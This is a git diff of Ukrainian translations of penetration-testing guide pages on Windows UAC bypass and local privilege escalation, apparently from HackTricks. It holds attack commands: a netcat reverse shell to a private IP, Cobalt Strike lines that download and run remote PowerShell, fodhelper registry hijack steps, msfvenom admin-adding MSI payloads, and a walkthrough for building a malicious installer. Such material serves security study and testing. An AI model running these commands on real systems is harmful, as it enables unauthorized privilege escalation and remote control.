**`1`**, **всі акаунти в групі "Administrators"** можуть це робити. +Далі перевірте значення ключа **`LocalAccountTokenFilterPolicy`**\ +Якщо значення **`0`**, то лише користувач **RID 500** (**built-in Administrator**) може виконувати **адмінські завдання без UAC**, а якщо воно `1`, **всі облікові записи в групі "Administrators"** можуть це робити. -І, нарешті, подивіться значення ключа **`FilterAdministratorToken`**\ -Якщо **`0`** (за замовчуванням), **built-in Administrator account** може виконувати завдання віддаленого адміністрування, а якщо **`1`**, вбудований обліковий запис Administrator **не може** виконувати віддалене адміністрування, якщо тільки `LocalAccountTokenFilterPolicy` не встановлено в `1`. +І нарешті перевірте значення ключа **`FilterAdministratorToken`**\ +Якщо **`0`** (за замовчуванням), **обліковий запис built-in Administrator може** виконувати віддалені адміністративні завдання, а якщо **`1`**, вбудований обліковий запис Administrator **не може** виконувати віддалені адміністративні завдання, якщо тільки `LocalAccountTokenFilterPolicy` не встановлено на `1`. #### Summary -- Якщо `EnableLUA=0` або **не існує**, **UAC відсутній для всіх** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`**, **UAC відсутній для всіх** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=0`**, **UAC відсутній для RID 500 (Built-in Administrator)** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=1`**, **UAC для всіх** +- Якщо `EnableLUA=0` або **не існує**, **UAC вимкнено для всіх** +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`**, UAC вимкнено для всіх +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=0`**, UAC відсутній для RID 500 (Built-in Administrator) +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=1`**, UAC увімкнено для всіх -Всю цю інформацію можна зібрати за допомогою модуля **metasploit**: `post/windows/gather/win_privs` +Усі ці відомості можна зібрати за допомогою модуля **metasploit**: `post/windows/gather/win_privs` -Також ви можете перевірити групи вашого користувача та отримати рівень цілісності: +Ви також можете перевірити групи свого користувача та визначити рівень цілісності: ``` net user %username% whoami /groups | findstr Level @@ -92,15 +91,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Зауважте, що якщо у вас є графічний доступ до жертви, UAC bypass досить простий, оскільки ви можете просто натиснути "Yes", коли з'являється UAC prompt +> Зверніть увагу, що якщо у вас є графічний доступ до жертви, обхід UAC доволі простий — ви можете просто натиснути "Yes", коли з'явиться запит UAC -The UAC bypass is needed in the following situation: **UAC увімкнено, ваш процес працює в medium integrity context, і ваш користувач належить до administrators group**. +The UAC bypass потрібен у наступній ситуації: **UAC увімкнено, ваш процес працює в контексті medium integrity, і ваш користувач належить до групи administrators**. -Важливо зазначити, що **набагато складніше обійти UAC, якщо він знаходиться на найвищому рівні безпеки (Always), ніж коли він знаходиться на будь-якому з інших рівнів (Default).** +Важливо зазначити, що **набагато складніше обійти UAC, якщо він встановлений на найвищий рівень безпеки (Always), ніж якщо він у будь-якому з інших рівнів (Default).** ### UAC disabled -If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like: +Якщо UAC вже вимкнено (`ConsentPromptBehaviorAdmin` is **`0`**) ви можете **execute a reverse shell with admin privileges** (high integrity level) using something like: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -113,10 +112,10 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 ### **Дуже** базовий UAC "bypass" (повний доступ до файлової системи) -Якщо у вас є shell під користувачем, який входить до групи Administrators, ви можете **монтувати шаринг C$** через SMB (файлова система) локально як новий диск і отримаєте **доступ до всього в файловій системі** (навіть до домашньої теки Administrator). +Якщо у вас є shell від користувача, який входить до групи Administrators, ви можете **mount the C$** (спільний ресурс через SMB) локально змонтувати як новий диск і матимете **доступ до всього у файловій системі** (навіть до домашньої папки Administrator). > [!WARNING] -> **Здається, цей трюк більше не працює** +> **Схоже, цей трюк більше не працює** ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -124,9 +123,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### Обхід UAC за допомогою cobalt strike +### UAC bypass за допомогою cobalt strike -Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальний рівень безпеки. +Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальний рівень безпеки ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -138,7 +137,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** та **Metasploit** також мають кілька модулів для **bypass** **UAC**. +**Empire** і **Metasploit** також мають кілька модулів для **bypass** **UAC**. ### KRBUACBypass @@ -146,10 +145,10 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) який є **збіркою** кількох UAC bypass exploits. Зауважте, що вам потрібно **compile UACME using visual studio or msbuild**. Компіляція створить кілька виконуваних файлів (наприклад `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно буде знати **який саме вам потрібен.**\ -Ви повинні **бути обережними**, тому що деякі bypasses можуть **викликати запуск інших програм**, які **повідомлять** **користувача** про те, що щось відбувається. +[**UACME** ](https://github.com/hfiref0x/UACME) який є **збіркою** кількох UAC bypass exploits. Зауважте, що потрібно **скомпілювати UACME за допомогою Visual Studio або msbuild**. Процес компіляції створить кілька виконуваних файлів (наприклад `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно буде знати **який саме вам потрібен.**\ +Вам слід **бути обережним**, бо деякі bypasses можуть **запустити інші програми**, які **повідомлять** **користувача**, що відбувається щось. -UACME має **інформацію про версію збірки, з якої кожна техніка почала працювати**. Ви можете шукати техніку, що впливає на вашу версію: +UACME містить **версію збірки, з якої кожна техніка почала працювати**. Ви можете шукати техніку, що впливає на ваші версії: ``` PS C:\> [environment]::OSVersion.Version @@ -157,17 +156,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Також, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримуєте випуск Windows `1607` за номерами збірок. +Also, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримаєте випуск Windows `1607` за номерами збірок. ### UAC Bypass – fodhelper.exe (Registry hijack) -Довірений бінарник `fodhelper.exe` автоматично запускається з підвищеними правами в сучасних Windows. Під час запуску він читає наведений нижче пер-юзерський шлях реєстру без перевірки дієслова `DelegateExecute`. Розміщення команди там дозволяє процесу Medium Integrity (користувач належить до Administrators) створити процес High Integrity без UAC prompt. +Довірений бінар `fodhelper.exe` автоматично підвищується в сучасних Windows. Під час запуску він опитує пер-юзерний шлях у реєстрі, наведений нижче, не перевіряючи значення `DelegateExecute`. Розміщення там команди дозволяє процесу Medium Integrity (якщо користувач у групі Administrators) породити процес High Integrity без появи запиту UAC. -Registry path queried by fodhelper: +Реєстровий шлях, який опитує fodhelper: ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -PowerShell кроки (встановіть свій payload, потім trigger): +Кроки PowerShell (встановіть свій payload, потім trigger): ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -187,11 +186,11 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` Notes: -- Працює, коли поточний користувач є членом Administrators і рівень UAC за замовчуванням/лояльний (не Always Notify з додатковими обмеженнями). +- Працює, коли поточний користувач є членом групи Administrators і рівень UAC встановлено на default/lenient (не Always Notify з додатковими обмеженнями). - Використовуйте шлях `sysnative` щоб запустити 64-бітний PowerShell з 32-бітного процесу на 64-бітному Windows. -- Payload може бути будь-якою командою (PowerShell, cmd, або шлях до EXE). Уникайте виклику UI, що вимагають підтвердження, для стелсу. +- Payload може бути будь-якою командою (PowerShell, cmd або шлях до EXE). Уникайте інтерфейсів, що запитують дозволи, для більшої прихованості. -#### Додаткові UAC bypass +#### More UAC bypass **All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). @@ -201,19 +200,19 @@ You can get using a **meterpreter** session. Migrate to a **process** that has t (_explorer.exe_ should works) -### UAC Bypass with GUI +### Обхід UAC через GUI -If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC. +Якщо у вас є доступ до **GUI, ви можете просто прийняти запит UAC**, коли він з’явиться — вам насправді не потрібен обхід. Отже, отримання доступу до GUI дозволить вам обійти UAC. -Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**. +Більше того, якщо ви отримали GUI-сесію, якою хтось користувався (наприклад через RDP), існують інструменти, що працюватимуть як адміністратор, з яких ви можете, наприклад, **запустити cmd як адмін** без повторного запиту UAC, наприклад [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Це може бути трохи більш приховано. -### Noisy brute-force UAC bypass +### Шумний brute-force UAC bypass -If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**. +Якщо вам байдуже до шуму, ви завжди можете **запустити щось на кшталт** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), що **проситиме підвищити права допоки користувач не погодиться**. ### Your own bypass - Basic UAC bypass methodology -If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). +Якщо подивитися на **UACME**, ви помітите, що **більшість UAC bypass-ів зловживають уразливістю DLL Hijacking** (в основному записом шкідливої dll у _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). 1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level). 2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**. @@ -224,7 +223,7 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D ### Another UAC bypass technique -Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**). +Полягає в тому, щоб відслідковувати, чи намагається **autoElevated binary** прочитати з **реєстру** ім'я/шлях бінарника або команду для виконання (це більш цікаво, якщо бінар шукає цю інформацію в **HKCU**). ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index af04a8f49..b2679d177 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Найкращий інструмент для пошуку Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Найкращий інструмент для пошуку Windows local privilege escalation векторів:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Вступна теорія Windows +## Початкова теорія Windows ### Access Tokens @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Перегляньте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:** +**Перевірте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,16 +26,16 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Якщо ви не знаєте, що таке Integrity Levels у Windows, слід прочитати наступну сторінку перед продовженням:** +**Якщо ви не знаєте, що таке integrity levels у Windows, ви повинні прочитати наступну сторінку перед продовженням:** {{#ref}} integrity-levels.md {{#endref}} -## Windows Security Controls +## Механізми безпеки Windows -У Windows є різні механізми, які можуть **завадити вам при переліку системи**, запуску виконуваних файлів або навіть **виявити вашу діяльність**. Ви повинні **прочитати** наступну **сторінку** та **перелічити** всі ці **захисні** **механізми** перед початком privilege escalation enumeration: +Є різні речі в Windows, які можуть **перешкоджати вам у перерахуванні системи**, запуску виконуваних файлів або навіть **виявленню ваших дій**. Ви повинні **прочитати** наступну **сторінку** та **перерахувати** усі ці **захисні** **механізми** перед початком розвідки для privilege escalation: {{#ref}} @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Експлойти версій +### Експлойти за версіями -Цей [site](https://msrc.microsoft.com/update-guide/vulnerability) корисний для пошуку детальної інформації про вразливості безпеки Microsoft. У цій базі даних понад 4,700 вразливостей безпеки, що демонструє **massive attack surface**, притаманний середовищу Windows. +Цей [site](https://msrc.microsoft.com/update-guide/vulnerability) зручний для пошуку детальної інформації про вразливості в продуктах Microsoft. У цій базі даних понад 4,700 вразливостей безпеки, що демонструє **massive attack surface**, яке має середовище Windows. -**On the system** +**На системі** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas має вбудований watson)_ -**Locally with system information** +**Локально з інформацією про систему** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos of exploits:** +**Github репозиторії експлойтів:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### Середовище -Чи збережено якісь credential/Juicy дані у env variables? +Чи збережені які-небудь облікові дані або важлива (juicy) інформація в env variables? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell файли транскрипції +### Файли PowerShell Transcript -Ви можете дізнатися, як увімкнути це в [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Ви можете дізнатися, як увімкнути це за адресою [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Реєструються деталі виконань pipeline PowerShell, включаючи виконані команди, виклики команд та частини скриптів. Однак повні деталі виконання та результати виводу можуть не зберігатися. +Фіксуються деталі виконань PowerShell pipeline, зокрема виконані команди, виклики команд і частини скриптів. Однак повні деталі виконання та результати виводу можуть не зберігатися. Щоб увімкнути це, дотримуйтесь інструкцій у розділі документації "Transcript files", обравши **"Module Logging"** замість **"Powershell Transcription"**. ```bash @@ -125,13 +125,13 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Щоб переглянути останні 15 подій у журналах PowersShell, ви можете виконати: +Щоб переглянути останні 15 подій із логів PowersShell, ви можете виконати: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Фіксується повний запис активності та вміст виконання скрипта, що гарантує документування кожного блоку коду під час виконання. Цей процес зберігає повний аудиторський слід кожної дії, що є цінним для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, він надає детальні відомості про процес. +Фіксується повний журнал активності та вміст виконання скрипта, що гарантує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудиторський слід кожної дії, корисний для судової експертизи та аналізу шкідливої поведінки. Завдяки документуванню всіх дій під час виконання надаються детальні відомості про процес. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Ви можете скомпрометувати систему, якщо оновлення запитуються не через http**S**, а через http. +Система може бути скомпрометована, якщо оновлення запитуються не через http**S**, а через http. -Почніть з перевірки, чи мережа використовує WSUS без SSL, виконавши наступне в cmd: +Почніть з перевірки, чи мережа використовує non-SSL WSUS update, виконавши наступне в cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Або наступне в PowerShell: +Або наступне у PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Якщо ви отримали відповідь, схожу на одну з наведених: +Якщо ви отримаєте відповідь, схожу на одну з цих: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`. -Тоді, **його можна експлуатувати.** Якщо останній ключ реєстру дорівнює `0`, запис WSUS буде ігноровано. +Тоді, **його можна експлуатувати.** Якщо останній запис реєстру дорівнює 0, то запис WSUS буде ігнорований. -Щоб експлуатувати ці вразливості, можна використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — це MiTM скрипти-експлойти для інжекції підроблених оновлень у не-SSL WSUS трафік. +Щоб експлуатувати ці вразливості, можна використовувати такі інструменти: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — це MiTM weaponized exploits scripts для інжекції 'fake' оновлень у non-SSL WSUS трафік. -Детальніше в дослідженні: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,26 +194,26 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Прочитати повний звіт**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -По суті, це та вразливість, яку використовує цей баг: +[**Прочитайте повний звіт тут**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +По суті, це вразливість, яку використовує цей баг: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> Якщо ми маємо можливість змінювати локальний проксі користувача, і Windows Updates використовує проксі, налаштований у налаштуваннях Internet Explorer, то ми, отже, можемо запустити [PyWSUS](https://github.com/GoSecure/pywsus) локально, щоб перехоплювати власний трафік і запускати код від імені elevated user на нашому хості. > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> Крім того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для WSUS hostname і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS WSUS трафік. WSUS не використовує механізмів, подібних до HSTS, щоб реалізувати тип перевірки trust-on-first-use для сертифіката. Якщо представлений сертифікат довіряється користувачем і має правильний hostname, він буде прийнятий службою. Ви можете експлуатувати цю вразливість за допомогою інструменту [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він стане доступним). ## KrbRelayUp -У Windows середовищах типу **domain** за певних умов існує вразливість **local privilege escalation**. Ці умови включають середовища, де **LDAP signing is not enforced**, користувачі мають права, що дозволяють їм налаштовувати **Resource-Based Constrained Delegation (RBCD)**, а також можливість створювати облікові записи комп'ютерів у домені. Важливо зазначити, що ці **вимоги** виконуються за **налаштувань за замовчуванням**. +У Windows domain середовищах існує вразливість **local privilege escalation** за певних умов. Ці умови включають середовища, де **LDAP signing is not enforced**, користувачі мають права, що дозволяють їм налаштовувати **Resource-Based Constrained Delegation (RBCD)**, а також можливість створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за **налаштувань за замовчуванням**. -Знайдіть **експлойт за адресою** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Знайдіть **експлойт** в [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Для детальнішої інформації про послідовність атаки див. [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Якщо** ці 2 ключі реєстру **увімкнені** (значення **0x1**), тоді користувачі з будь-якими привілеями можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**. +**Якщо** ці 2 ключі реєстру **увімкнені** (значення **0x1**), тоді користувачі з будь-якими правами можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,26 +223,26 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Якщо у вас є сесія meterpreter, ви можете автоматизувати цю техніку за допомогою модуля **`exploit/windows/local/always_install_elevated`** +Якщо у вас є сеанс meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль **`exploit/windows/local/always_install_elevated`** ### PowerUP -Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI двійковий файл для підвищення привілеїв. Цей скрипт записує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU): +Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI binary для escalate privileges. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання user/group (тому вам знадобиться GIU access): ``` Write-UserAddMSI ``` -Просто запустіть створений двійковий файл, щоб підвищити привілеї. +Просто запустіть створений бінарний файл, щоб підвищити привілеї. ### MSI Wrapper -Прочитайте цей посібник, щоб дізнатися, як створити MSI wrapper за допомогою цих інструментів. Зауважте, що ви можете обгорнути файл "**.bat**", якщо ви **лише** хочете **виконувати** **командні рядки** +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** {{#ref}} msi-wrapper.md {{#endref}} -### Створення MSI за допомогою WIX +### Create MSI with WIX {{#ref}} @@ -253,42 +253,42 @@ create-msi-with-wix.md - **Згенеруйте** за допомогою Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe` - Відкрийте **Visual Studio**, виберіть **Create a new project** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Next**. -- Дайте проекту ім'я, наприклад **AlwaysPrivesc**, вкажіть для розташування **`C:\privesc`**, виберіть **place solution and project in the same directory**, і натисніть **Create**. -- Клікайте **Next** доти, поки не дійдете до кроку 3 із 4 (choose files to include). Натисніть **Add** і виберіть згенерований Beacon payload. Потім натисніть **Finish**. +- Дайте проєкту назву, наприклад **AlwaysPrivesc**, вкажіть **`C:\privesc`** як розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. +- Продовжуйте натискати **Next** поки не дійдете до кроку 3 з 4 (вибір файлів для включення). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. - Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Properties** змініть **TargetPlatform** з **x86** на **x64**. -- Є інші властивості, які можна змінити, такі як **Author** та **Manufacturer**, що зробить встановлену програму більш легітимною. -- Клацніть правою кнопкою миші на проекті та виберіть **View > Custom Actions**. -- Клацніть правою кнопкою на **Install** і виберіть **Add Custom Action**. -- Двічі клацніть на **Application Folder**, виберіть ваш файл **beacon.exe** і натисніть **OK**. Це гарантує, що Beacon payload буде виконаний одразу після запуску інсталятора. -- У **Custom Action Properties** змініть **Run64Bit** на **True**. -- Нарешті, **зберіть** його. -- Якщо показано попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64. +- Існують також інші властивості, які можна змінити, наприклад **Author** та **Manufacturer**, що може зробити встановлений застосунок більш правдоподібним. +- Клацніть правою кнопкою по проекту та оберіть **View > Custom Actions**. +- Клацніть правою кнопкою по **Install** та оберіть **Add Custom Action**. +- Двічі клікніть на **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це гарантує, що beacon payload буде виконано одразу при запуску інсталятора. +- В **Custom Action Properties** змініть **Run64Bit** на **True**. +- Нарешті, **збудуйте** його. +- Якщо показується попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64. ### Встановлення MSI -Щоб виконати **інсталяцію** шкідливого `.msi` файлу у **фоновому режимі:** +Щоб виконати **інсталяцію** шкідливого файлу `.msi` у **фоні:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Щоб експлуатувати цю вразливість, ви можете використати: _exploit/windows/local/always_install_elevated_ -## Антивіруси та детектори +## Antivirus and Detectors -### Налаштування аудиту +### Audit Settings -Ці налаштування визначають, що **записується**, тож слід звернути на це увагу +Ці налаштування визначають, що **реєструється**, тож слід звернути увагу ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — цікаво знати, куди надсилаються журнали +Windows Event Forwarding — цікаво знати, куди надсилаються logs ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** призначений для **керування локальними паролями облікового запису Administrator**, забезпечуючи, що кожен пароль є **унікальним, випадковим і регулярно оновлюваним** на комп’ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і доступні лише користувачам, яким надано достатні дозволи через ACLs, що дозволяє їм переглядати локальні admin паролі, якщо їм надано авторизацію. +**LAPS** призначений для **керування локальних паролів Administrator**, забезпечуючи, що кожен пароль є **унікальним, випадково згенерованим та регулярно оновлюваним** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким через ACLs надано достатні дозволи, що дозволяє їм переглядати локальні паролі Administrator, якщо вони уповноважені. {{#ref}} @@ -302,31 +302,31 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### Захист LSA +### LSA Protection -Починаючи з **Windows 8.1**, Microsoft впровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати пам'ять LSA** або інжектувати код, додатково підвищуючи безпеку системи.\ +Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково підвищуючи безпеку системи.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 